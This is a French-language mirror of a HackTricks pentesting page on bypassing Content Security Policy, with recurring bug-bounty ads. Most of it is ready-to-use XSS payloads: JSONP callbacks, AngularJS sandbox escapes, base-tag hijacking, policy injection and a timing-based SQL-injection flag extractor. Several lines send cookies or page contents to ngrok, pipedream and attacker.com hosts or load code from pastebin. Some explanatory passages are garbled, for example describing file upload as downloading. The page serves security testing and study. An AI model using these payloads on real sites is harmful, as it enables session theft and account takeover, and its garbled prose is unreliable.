Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-23 13:13:41 +00:00
Code Issues Projects Releases Packages Wiki Activity
hacktricks/pentesting-web/content-security-policy-csp-bypass/README.md

42 KiB
Raw Blame History

Contournement de la politique de sécurité du contenu (CSP)

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

HackenProof est la plateforme des primes de bugs cryptographiques.

Obtenez des récompenses sans délai
Les primes HackenProof ne sont lancées que lorsque les clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bug.

Acquérez de l'expérience en pentest web3
Les protocoles blockchain et les contrats intelligents sont le nouvel Internet ! Maîtrisez la sécurité web3 dès ses débuts.

Devenez une légende du piratage web3
Gagnez des points de réputation avec chaque bug vérifié et conquérez le sommet du classement hebdomadaire.

Inscrivez-vous sur HackenProof et commencez à gagner grâce à vos piratages !

{% embed url="https://hackenproof.com/register" %}

Qu'est-ce que CSP

La politique de sécurité du contenu (Content Security Policy ou CSP) est une technologie intégrée au navigateur qui aide à se protéger contre des attaques telles que les scripts intersites (XSS). Elle répertorie et décrit les chemins et sources à partir desquels le navigateur peut charger en toute sécurité des ressources. Les ressources peuvent inclure des images, des frames, du javascript et plus encore. Voici un exemple de ressources autorisées à être chargées et exécutées en ligne à partir du domaine local (self), et permettant l'exécution de code sous forme de chaîne avec des fonctions telles que eval, setTimeout ou setInterval:

La politique de sécurité du contenu est mise en œuvre via des en-têtes de réponse ou des éléments meta de la page HTML. Le navigateur suit la politique reçue et bloque activement les violations détectées.

Mise en œuvre via l'en-tête de réponse :

Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';

Implémenté via la balise meta :

<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">

En-têtes

  • Content-Security-Policy
  • Content-Security-Policy-Report-Only Celui-ci ne bloquera rien, il enverra seulement des rapports (à utiliser dans un environnement de pré-production).

Définition des ressources

CSP fonctionne en restreignant les origines à partir desquelles les contenus actifs et passifs peuvent être chargés. Il peut également restreindre certains aspects des contenus actifs tels que l'exécution de JavaScript en ligne et l'utilisation de eval().

default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';

Directives

  • script-src: Cette directive spécifie les sources autorisées pour JavaScript. Cela inclut non seulement les URL chargées directement dans les éléments, mais aussi des choses comme les gestionnaires d'événements de script en ligne (onclick) et les feuilles de style XSLT qui peuvent déclencher l'exécution de script.
  • default-src: Cette directive définit la politique de récupération des ressources par défaut. Lorsque les directives de récupération sont absentes dans l'en-tête CSP, le navigateur suit cette directive par défaut.
  • Child-src: Cette directive définit les ressources autorisées pour les travailleurs Web et les contenus de trame intégrés.
  • connect-src: Cette directive restreint les URL pouvant être chargées à l'aide d'interfaces telles que fetch, websocket, XMLHttpRequest.
  • frame-src: Cette directive restreint les URL des trames pouvant être appelées.
  • frame-ancestors: Cette directive spécifie les sources pouvant intégrer la page actuelle. Cette directive s'applique aux balises <frame>, <iframe>, <object>, <embed> ou <applet>. Cette directive ne peut pas être utilisée dans les balises et s'applique uniquement aux ressources non HTML.
  • img-src: Elle définit les sources autorisées pour charger des images sur la page Web.
  • font-src: Cette directive spécifie les sources valides pour les polices chargées à l'aide de @font-face.
  • manifest-src: Cette directive définit les sources autorisées des fichiers de manifeste d'application.
  • media-src: Elle définit les sources autorisées à partir desquelles les objets multimédias peuvent être chargés.
  • object-src: Elle définit les sources autorisées pour les éléments <object>, <embed> et <applet>.
  • base-uri: Elle définit les URL autorisées qui peuvent être chargées à l'aide d'un élément.
  • form-action: Cette directive répertorie les points de terminaison valides pour la soumission des balises.
  • plugin-types: Elle définit des limites sur les types MIME que peut invoquer une page.
  • upgrade-insecure-requests: Cette directive indique aux navigateurs de réécrire les schémas d'URL, en remplaçant HTTP par HTTPS. Cette directive peut être utile pour les sites Web avec un grand nombre d'anciennes URL qui doivent être réécrites.
  • sandbox: La directive sandbox permet de créer un environnement restreint pour la ressource demandée, similaire à l'attribut sandbox. Elle applique des restrictions aux actions d'une page, notamment en empêchant l'ouverture de fenêtres contextuelles, l'exécution de plugins et de scripts, et en imposant une politique de même origine.

Sources

  • *: Cela permet n'importe quelle URL sauf les schémas data:, blob:, filesystem:
  • self: Cette source indique que le chargement des ressources sur la page est autorisé depuis le même domaine.
  • data: Cette source permet le chargement de ressources via le schéma de données (par exemple, des images encodées en Base64)
  • none: Cette directive n'autorise rien à être chargé depuis aucune source.
  • unsafe-eval: Cela permet l'utilisation de eval() et de méthodes similaires pour créer du code à partir de chaînes. Ce n'est pas une pratique sûre d'inclure cette source dans une directive. Pour la même raison, elle est nommée unsafe (non sécurisée).
  • unsafe-hashes: Cela permet d'activer des gestionnaires d'événements en ligne spécifiques.
  • unsafe-inline: Cela permet l'utilisation de ressources en ligne, telles que des éléments en ligne, des URL javascript:, des gestionnaires d'événements en ligne et des éléments en ligne. Encore une fois, cela n'est pas recommandé pour des raisons de sécurité.
  • nonce: Une liste blanche pour des scripts en ligne spécifiques utilisant un nonce cryptographique (nombre utilisé une seule fois). Le serveur doit générer une valeur de nonce unique à chaque fois qu'il transmet une politique.
  • sha256-<hash>: Autorise les scripts avec un hachage sha256 spécifique.
  • strict-dynamic: Elle permet au navigateur de charger et d'exécuter de nouvelles balises JavaScript dans le DOM à partir de n'importe quelle source de script qui a été précédemment autorisée par une valeur "nonce" ou "hash".
  • host: Indique un hôte tel que example.com

Règles CSP non sécurisées

'unsafe-inline'

Content-Security-Policy: script-src https://google.com 'unsafe-inline';

Charge utile de travail : "/><script>alert(1);</script>

self + 'unsafe-inline' via les Iframes

{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %} csp-bypass-self-+-unsafe-inline-with-iframes.md {% endcontent-ref %}

'unsafe-eval'

Content-Security-Policy: script-src https://google.com 'unsafe-eval';

Payload de travail:

<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>

strict-dynamic

Si vous parvenez d'une manière ou d'une autre à faire en sorte qu'un code JS autorisé crée une nouvelle balise script dans le DOM avec votre code JS, car un script autorisé le crée, la nouvelle balise script sera autorisée à être exécutée.

Wildcard (*)

Content-Security-Policy: script-src 'self' https://google.com https: data *;

Payload de travail:

"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>

Absence de object-src et default-src

{% hint style="danger" %} Il semble que cela ne fonctionne plus {% endhint %}

Content-Security-Policy: script-src 'self' ;

Payloads de travail:

<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>

Téléchargement de fichiers + 'self'

Lorsque vous effectuez un test de pénétration sur une application Web, il est courant de rencontrer une politique de sécurité du contenu (CSP) qui restreint les sources autorisées pour les ressources chargées par l'application. Cela peut inclure des restrictions sur les scripts, les images, les polices, etc.

Une directive CSP courante est default-src 'self', qui permet uniquement le chargement de ressources à partir du même domaine que l'application. Cela peut poser un problème lorsqu'il s'agit de télécharger des fichiers depuis un domaine externe.

Cependant, il existe une technique pour contourner cette restriction en utilisant une vulnérabilité de fuite de contenu. L'idée est de charger un fichier à partir d'un domaine externe et de le faire "fuiter" vers le domaine de l'application.

Voici comment cela peut être réalisé :

  1. Identifiez une fonctionnalité de téléchargement de fichiers sur l'application Web cible.
  2. Téléchargez un fichier depuis un domaine externe vers le domaine de l'application.
  3. Utilisez une vulnérabilité de fuite de contenu pour extraire le contenu du fichier téléchargé vers le domaine de l'application.

Il est important de noter que cette technique peut ne pas fonctionner dans tous les cas, car elle dépend de la présence d'une vulnérabilité de fuite de contenu. Il est recommandé de tester cette technique sur une application spécifique pour déterminer son efficacité.

N'oubliez pas de toujours obtenir une autorisation légale avant de réaliser des tests de pénétration sur une application Web.

Content-Security-Policy: script-src 'self';  object-src 'none' ;

Si vous pouvez télécharger un fichier JS, vous pouvez contourner cette CSP :

Charge utile fonctionnelle :

"/>'><script src="/uploads/picture.png.js"></script>

Cependant, il est très probable que le serveur valide le fichier téléchargé et n'autorise que le téléchargement de certains types de fichiers.

De plus, même si vous pouviez télécharger un code JS à l'intérieur d'un fichier en utilisant une extension acceptée par le serveur (comme : script.png), cela ne suffirait pas car certains serveurs comme Apache sélectionnent le type MIME du fichier en fonction de l'extension et les navigateurs comme Chrome refusent d'exécuter du code Javascript à l'intérieur de quelque chose qui devrait être une image. Heureusement, il y a des erreurs. Par exemple, à partir d'un CTF, j'ai appris qu'Apache ne reconnaît pas l'extension .wave, donc il ne la sert pas avec un type MIME comme audio/*.

À partir de là, si vous trouvez une XSS et un téléchargement de fichier, et que vous parvenez à trouver une extension mal interprétée, vous pouvez essayer de télécharger un fichier avec cette extension et le contenu du script. Ou, si le serveur vérifie le format correct du fichier téléchargé, créez un polyglotte (quelques exemples de polyglottes ici).

Points d'accès tiers + ('unsafe-eval')

{% hint style="warning" %} Pour certains des payloads suivants, unsafe-eval n'est même pas nécessaire. {% endhint %}

Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';

Chargez une version vulnérable d'Angular et exécutez du code JS arbitraire :

<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.js"></script>
<script>
    angular.module('myApp', [])
        .controller('myController', function($scope) {
            $scope.name = 'John Doe';
        });
</script>

Dans cet exemple, nous chargeons une version vulnérable d'Angular (1.2.0) à partir de la bibliothèque Google CDN. Ensuite, nous créons un module Angular appelé "myApp" et un contrôleur appelé "myController". Dans le contrôleur, nous définissons une variable $scope "name" avec la valeur "John Doe". Cette vulnérabilité permet à un attaquant d'exécuter du code JS arbitraire sur la page.

<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>


"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>


"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>


With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
>

Charges utiles utilisant Angular + une bibliothèque avec des fonctions qui renvoient l'objet window (consultez cet article):

{% hint style="info" %} L'article montre que vous pourriez charger toutes les bibliothèques depuis cdn.cloudflare.com (ou tout autre référentiel de bibliothèques JS autorisé), exécuter toutes les fonctions ajoutées de chaque bibliothèque et vérifier quelles fonctions de quelles bibliothèques renvoient l'objet window. {% endhint %}

<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
<div ng-app ng-csp>
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{$on.curry.call().alert('xss')}}
</div>


<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
{{[].erase.call().alert('xss')}}
</div>

Points de terminaison tiers + JSONP

JSONP (JSON with Padding) est une technique utilisée pour contourner la politique de sécurité du contenu (CSP) lors de l'accès à des ressources tierces. La CSP est une couche de sécurité qui permet aux propriétaires de sites web de spécifier les sources légitimes de contenu qui peuvent être chargées sur leurs pages. Cela aide à prévenir les attaques de type cross-site scripting (XSS) en limitant les sources de contenu autorisées.

Cependant, certaines applications web utilisent des points de terminaison tiers pour récupérer des données JSON. Si ces points de terminaison ne sont pas autorisés par la CSP, il est possible d'utiliser JSONP pour contourner cette restriction.

JSONP fonctionne en ajoutant dynamiquement un script à la page web qui charge les données JSON à partir du point de terminaison tiers. Le point de terminaison doit prendre en charge JSONP en enveloppant les données JSON dans une fonction de rappel spécifiée par le client. Lorsque le script est chargé, la fonction de rappel est exécutée avec les données JSON en tant que paramètre.

Pour exploiter cette vulnérabilité, un attaquant peut utiliser un point de terminaison tiers vulnérable à JSONP pour exécuter du code malveillant sur la page web cible. Cela peut permettre à l'attaquant de voler des informations sensibles, d'injecter du contenu malveillant ou de compromettre la sécurité de la page web.

Il est important de noter que JSONP présente des risques de sécurité et est considéré comme une technique obsolète. Il est recommandé d'utiliser des méthodes plus sécurisées, telles que CORS (Cross-Origin Resource Sharing), pour accéder à des ressources tierces de manière contrôlée et sécurisée.

Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';

Des scénarios comme celui-ci où script-src est défini sur self et un domaine particulier qui est autorisé peuvent être contournés en utilisant JSONP. Les points de terminaison JSONP permettent des méthodes de rappel non sécurisées qui permettent à un attaquant d'exécuter une attaque XSS, charge utile de travail :

"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>

https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>

JSONBee contient des points de terminaison JSONP prêts à l'emploi pour contourner la CSP de différents sites web.

La même vulnérabilité se produira si le point de terminaison de confiance contient une redirection ouverte car si le point de terminaison initial est fiable, les redirections sont fiables.

Contournement du chemin du dossier

Si la politique CSP pointe vers un dossier et que vous utilisez %2f pour encoder "/", il est toujours considéré comme étant à l'intérieur du dossier. Tous les navigateurs semblent être d'accord avec cela.
Cela conduit à un contournement possible, en utilisant "%2f..%2f" si le serveur le décode. Par exemple, si CSP autorise http://example.com/company/, vous pouvez contourner la restriction du dossier et exécuter : http://example.com/company%2f..%2fattacker/file.js

Exemple en ligne : https://jsbin.com/werevijewa/edit?html,output

Exécution de JS dans les iframes

{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %} iframes-in-xss-and-csp.md {% endcontent-ref %}

base-uri manquant

Si la directive base-uri est manquante, vous pouvez l'exploiter pour effectuer une injection de balisage suspendu.

De plus, si la page charge un script en utilisant un chemin relatif (comme /js/app.js) en utilisant un Nonce, vous pouvez exploiter la balise base pour le faire charger le script depuis votre propre serveur et réaliser une XSS.
Si la page vulnérable est chargée avec httpS, utilisez une URL httpS dans la balise base.

<base href="https://www.attacker.com/">

Événements AngularJS

Selon la politique spécifique, le CSP bloquera les événements JavaScript. Cependant, AngularJS définit ses propres événements qui peuvent être utilisés à la place. Lorsqu'il est à l'intérieur d'un événement, AngularJS définit un objet spécial $event, qui fait simplement référence à l'objet d'événement du navigateur. Vous pouvez utiliser cet objet pour contourner le CSP. Sur Chrome, il existe une propriété spéciale sur l'objet $event/event appelée path. Cette propriété contient un tableau d'objets qui provoque l'exécution de l'événement. La dernière propriété est toujours l'objet window, que nous pouvons utiliser pour effectuer une évasion de bac à sable. En passant ce tableau au filtre orderBy, nous pouvons énumérer le tableau et utiliser le dernier élément (l'objet window) pour exécuter une fonction globale, telle que alert(). Le code suivant illustre cela :

<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x

Trouvez d'autres contournements Angular dans https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

AngularJS et domaine autorisé

Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;

Si l'application utilise Angular JS et que les scripts sont chargés à partir d'un domaine autorisé, il est possible de contourner cette politique CSP en appelant des fonctions de rappel et des classes vulnérables. Pour plus de détails, visitez ce super git repo.

Payloads fonctionnels:

<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>

<!-- no longer working -->
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">

D'autres points d'exécution arbitraire JSONP peuvent être trouvés ici (certains d'entre eux ont été supprimés ou corrigés).

Contourner CSP avec du balisage suspendu

Lisez comment ici.

'unsafe-inline'; img-src *; via XSS

default-src 'self' 'unsafe-inline'; img-src *;

'unsafe-inline' signifie que vous pouvez exécuter n'importe quel script à l'intérieur du code (XSS peut exécuter du code) et img-src * signifie que vous pouvez utiliser sur la page web n'importe quelle image provenant de n'importe quelle ressource.

Vous pouvez contourner cette CSP en exfiltrant les données via des images (dans ce cas, le XSS exploite un CSRF où une page accessible par le bot contient une SQLi, et extrait le drapeau via une image) :

<script>fetch('http://x-oracle-v0.nn9ed.ka0labs.org/admin/search/x%27%20union%20select%20flag%20from%20challenge%23').then(_=>_.text()).then(_=>new Image().src='http://PLAYER_SERVER/?'+_)</script>

De: https://github.com/ka0labs/ctf-writeups/tree/master/2019/nn9ed/x-oracle

Vous pouvez également abuser de cette configuration pour charger du code JavaScript inséré à l'intérieur d'une image. Par exemple, si la page autorise le chargement d'images depuis Twitter, vous pouvez créer une image spéciale, la télécharger sur Twitter et abuser de l'option "unsafe-inline" pour exécuter un code JS (comme une XSS classique) qui va charger l'image, extraire le JS de celle-ci et l'exécuter : https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/

Avec les Service Workers

La fonction importScripts des Service Workers n'est pas limitée par la CSP :

{% content-ref url="../xss-cross-site-scripting/abusing-service-workers.md" %} abusing-service-workers.md {% endcontent-ref %}

Injection de politique

Recherche : https://portswigger.net/research/bypassing-csp-with-policy-injection

Chrome

Si un paramètre envoyé par vous est collé à l'intérieur de la déclaration de la politique, vous pouvez modifier la politique de manière à la rendre inutile. Vous pouvez autoriser le script 'unsafe-inline' avec l'une de ces contournements :

script-src-elem *; script-src-attr *
script-src-elem 'unsafe-inline'; script-src-attr 'unsafe-inline'

Parce que cette directive va écraser les directives script-src existantes.
Vous pouvez trouver un exemple ici: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=%3Bscript-src-elem+*&y=%3Cscript+src=%22http://subdomain1.portswigger-labs.net/xss/xss.js%22%3E%3C/script%3E

Edge

Dans Edge, c'est beaucoup plus simple. Si vous pouvez ajouter dans le CSP juste ceci: ;_ Edge va supprimer l'ensemble de la politique.
Exemple: http://portswigger-labs.net/edge_csp_injection_xndhfye721/?x=;_&y=%3Cscript%3Ealert(1)%3C/script%3E

img-src *; via XSS (iframe) - Attaque par délai

Remarquez l'absence de la directive 'unsafe-inline'
Cette fois, vous pouvez faire en sorte que la victime charge une page sous votre contrôle via XSS avec un <iframe>. Cette fois, vous allez faire en sorte que la victime accède à la page à partir de laquelle vous souhaitez extraire des informations (CSRF). Vous ne pouvez pas accéder au contenu de la page, mais si vous pouvez contrôler le temps nécessaire à la page pour se charger, vous pouvez extraire les informations dont vous avez besoin.

Cette fois, un drapeau va être extrait, chaque fois qu'un caractère est correctement deviné via SQLi, la réponse prend plus de temps en raison de la fonction sleep. Ensuite, vous pourrez extraire le drapeau:

<iframe name=f id=g></iframe> // The bot will load an URL with the payload
<script>
let host = "http://x-oracle-v1.nn9ed.ka0labs.org";
function gen(x) {
x = escape(x.replace(/_/g, '\\_'));
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag%20like%20'${x}%25'and%201=sleep(0.1)%23`;
}

function gen2(x) {
x = escape(x);
return `${host}/admin/search/x'union%20select(1)from%20challenge%20where%20flag='${x}'and%201=sleep(0.1)%23`;
}

async function query(word, end=false) {
let h = performance.now();
f.location = (end ? gen2(word) : gen(word));
await new Promise(r => {
g.onload = r;
});
let diff = performance.now() - h;
return diff > 300;
}

let alphabet = '_abcdefghijklmnopqrstuvwxyz0123456789'.split('');
let postfix = '}'

async function run() {
let prefix = 'nn9ed{';
while (true) {
let i = 0;
for (i;i<alphabet.length;i++) {
let c = alphabet[i];
let t =  await query(prefix+c); // Check what chars returns TRUE or FALSE
console.log(prefix, c, t);
if (t) {
console.log('FOUND!')
prefix += c;
break;
}
}
if (i==alphabet.length) {
console.log('missing chars');
break;
}
let t = await query(prefix+'}', true);
if (t) {
prefix += '}';
break;
}
}
new Image().src = 'http://PLAYER_SERVER/?' + prefix; //Exfiltrate the flag
console.log(prefix);
}

run();
</script>

Via Bookmarklets

Cette attaque impliquerait de l'ingénierie sociale où l'attaquant convainc l'utilisateur de faire glisser et déposer un lien sur le bookmarklet du navigateur. Ce bookmarklet contiendrait du code JavaScript malveillant qui, lorsqu'il est glissé-déposé ou cliqué, serait exécuté dans le contexte de la fenêtre web actuelle, contournant la CSP et permettant de voler des informations sensibles telles que les cookies ou les jetons.

Pour plus d'informations, consultez le rapport original ici.

CVE-2020-6519

document.querySelector('DIV').innerHTML="<iframe src='javascript:var s = document.createElement(\"script\");s.src = \"https://pastebin.com/raw/dw5cWGK6\";document.body.appendChild(s);'></iframe>";

Fuite d'informations CSP + Iframe

Imaginez une situation où une page redirige vers une autre page avec un secret en fonction de l'utilisateur. Par exemple, lorsque l'utilisateur admin accède à redirectme.domain1.com, il est redirigé vers adminsecret321.domain2.com et vous pouvez provoquer un XSS sur l'administrateur.
De plus, les pages redirigées ne sont pas autorisées par la politique de sécurité, mais la page qui redirige l'est.

Vous pouvez divulguer le domaine vers lequel l'administrateur est redirigé via :

  • une violation de la CSP
  • les règles de la CSP.

La violation de la CSP est une fuite instantanée. Tout ce qui doit être fait est de charger un iframe pointant vers https://redirectme.domain1.com et d'écouter l'événement securitypolicyviolation qui contient la propriété blockedURI contenant le domaine de l'URI bloquée. Cela est dû au fait que https://redirectme.domain1.com (autorisé par la CSP) redirige vers https://adminsecret321.domain2.com (bloqué par la CSP). Cela exploite un comportement indéfini sur la façon de gérer les iframes avec la CSP. Chrome et Firefox se comportent différemment à cet égard.

Lorsque vous connaissez les caractères qui peuvent composer le sous-domaine secret, vous pouvez également utiliser une recherche binaire et vérifier quand la CSP a bloqué la ressource et quand elle ne l'a pas fait en créant différents domaines interdits dans la CSP (dans ce cas, le secret peut être sous la forme doc-X-XXXX.secdrivencontent.dev)

img-src https://chall.secdriven.dev https://doc-1-3213.secdrivencontent.dev https://doc-2-3213.secdrivencontent.dev ... https://doc-17-3213.secdriven.dev

Astuce provenant de ici.

HackenProof est la plateforme des primes de bugs cryptographiques.

Obtenez des récompenses sans délai
Les primes HackenProof ne sont lancées que lorsque leurs clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bug.

Acquérez de l'expérience en pentesting web3
Les protocoles blockchain et les contrats intelligents sont le nouvel Internet ! Maîtrisez la sécurité web3 dès ses débuts.

Devenez la légende des hackers web3
Gagnez des points de réputation avec chaque bug vérifié et conquérez le sommet du classement hebdomadaire.

Inscrivez-vous sur HackenProof et commencez à gagner grâce à vos hacks !

{% embed url="https://hackenproof.com/register" %}

Technologies non sécurisées pour contourner CSP

Surcharge du tampon de réponse PHP

PHP est connu pour mettre en tampon la réponse à 4096 octets par défaut. Par conséquent, si PHP affiche un avertissement, en fournissant suffisamment de données dans les avertissements, la réponse sera envoyée avant l'en-tête CSP, ce qui entraînera l'ignorance de l'en-tête.
Ensuite, la technique consiste essentiellement à remplir le tampon de réponse avec des avertissements afin que l'en-tête CSP ne soit pas envoyé.

Idée provenant de ce writeup.

Réécriture de la page d'erreur

D'après ce writeup, il semble possible de contourner une protection CSP en chargeant une page d'erreur (potentiellement sans CSP) et en réécrivant son contenu.

a = window.open('/' + 'x'.repeat(4100));
setTimeout(function() {
a.document.body.innerHTML = `<img src=x onerror="fetch('https://filesharing.m0lec.one/upload/ffffffffffffffffffffffffffffffff').then(x=>x.text()).then(x=>fetch('https://enllwt2ugqrt.x.pipedream.net/'+x))">`;
}, 1000);

SOME + 'self' + wordpress

SOME est une technique qui exploite une XSS (ou une XSS très limitée) dans un point d'extrémité d'une page pour exploiter d'autres points d'extrémité de la même origine. Cela est fait en chargeant le point d'extrémité vulnérable à partir d'une page d'attaquant, puis en actualisant la page d'attaquant vers le point d'extrémité réel dans la même origine que vous souhaitez exploiter. De cette façon, le point d'extrémité vulnérable peut utiliser l'objet opener dans la charge utile pour accéder au DOM du point d'extrémité réel à exploiter. Pour plus d'informations, consultez :

{% content-ref url="../xss-cross-site-scripting/some-same-origin-method-execution.md" %} some-same-origin-method-execution.md {% endcontent-ref %}

De plus, wordpress dispose d'un point d'extrémité JSONP dans /wp-json/wp/v2/users/1?_jsonp=data qui reflète les données envoyées en sortie (avec la limitation aux lettres, chiffres et points uniquement).

Un attaquant peut exploiter ce point d'extrémité pour générer une attaque SOME contre WordPress et l'intégrer dans <script src=/wp-json/wp/v2/users/1?_jsonp=some_attack></script> notez que ce script sera chargé car il est autorisé par 'self'. De plus, et parce que WordPress est installé, un attaquant peut exploiter l'attaque SOME via le point d'extrémité de rappel vulnérable qui contourne la CSP pour accorder plus de privilèges à un utilisateur, installer un nouveau plugin... Pour plus d'informations sur la façon d'effectuer cette attaque, consultez https://octagon.net/blog/2022/05/29/bypass-csp-using-wordpress-by-abusing-same-origin-method-execution/

Contournements de la politique de sécurité du contenu (CSP) pour l'exfiltration

Si une CSP stricte ne vous permet pas d'interagir avec des serveurs externes, il y a quelques choses que vous pouvez toujours faire pour exfiltrer les informations.

Location

Vous pouvez simplement mettre à jour l'emplacement pour envoyer au serveur de l'attaquant les informations secrètes :

var sessionid = document.cookie.split('=')[1]+".";
document.location = "https://attacker.com/?" + sessionid;

Balise Meta

Vous pouvez rediriger en injectant une balise meta (il s'agit simplement d'une redirection, cela ne divulguera pas de contenu)

<meta http-equiv="refresh" content="1; http://attacker.com">

Préchargement DNS

Pour charger les pages plus rapidement, les navigateurs vont pré-résoudre les noms d'hôte en adresses IP et les mettre en cache pour une utilisation ultérieure.
Vous pouvez indiquer à un navigateur de pré-résoudre un nom d'hôte avec : <link reol="dns-prefetch" href="something.com">

Vous pourriez exploiter ce comportement pour exfiltrer des informations sensibles via des requêtes DNS :

var sessionid = document.cookie.split('=')[1]+".";
var body = document.getElementsByTagName('body')[0];
body.innerHTML = body.innerHTML + "<link rel=\"dns-prefetch\" href=\"//" + sessionid + "attacker.ch\">";

Une autre méthode:

const linkEl = document.createElement('link');
linkEl.rel = 'prefetch';
linkEl.href = urlWithYourPreciousData;
document.head.appendChild(linkEl);

Afin d'éviter que cela ne se produise, le serveur peut envoyer l'en-tête HTTP :

X-DNS-Prefetch-Control: off

{% hint style="info" %} Apparemment, cette technique ne fonctionne pas dans les navigateurs sans tête (bots) {% endhint %}

WebRTC

Sur plusieurs pages, vous pouvez lire que WebRTC ne vérifie pas la politique connect-src du CSP.

var pc = new RTCPeerConnection({"iceServers":[{"urls":["turn:74.125.140.127:19305?transport=udp"],"username":"_all_your_data_belongs_to_us","credential":"."}]});
pc.createOffer().then((sdp)=>pc.setLocalDescription(sdp));

Cependant, il semble que ce ne soit plus possible (ou du moins pas aussi facile).

Si vous savez comment exfiltrer des informations avec WebRTC, veuillez envoyer une demande de tirage s'il vous plaît !

Vérification des politiques CSP en ligne

Création automatique de CSP

https://csper.io/docs/generating-content-security-policy

Références

​

HackenProof est la plateforme des primes pour les bugs de cryptographie.

Obtenez des récompenses sans délai
Les primes HackenProof sont lancées uniquement lorsque les clients déposent le budget de récompense. Vous recevrez la récompense après la vérification du bug.

Acquérez de l'expérience en pentesting web3
Les protocoles blockchain et les contrats intelligents sont le nouvel Internet ! Maîtrisez la sécurité web3 dès ses débuts.

Devenez une légende du hacking web3
Gagnez des points de réputation avec chaque bug vérifié et conquérez le sommet du classement hebdomadaire.

Inscrivez-vous sur HackenProof et commencez à gagner grâce à vos hacks !

{% embed url="https://hackenproof.com/register" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥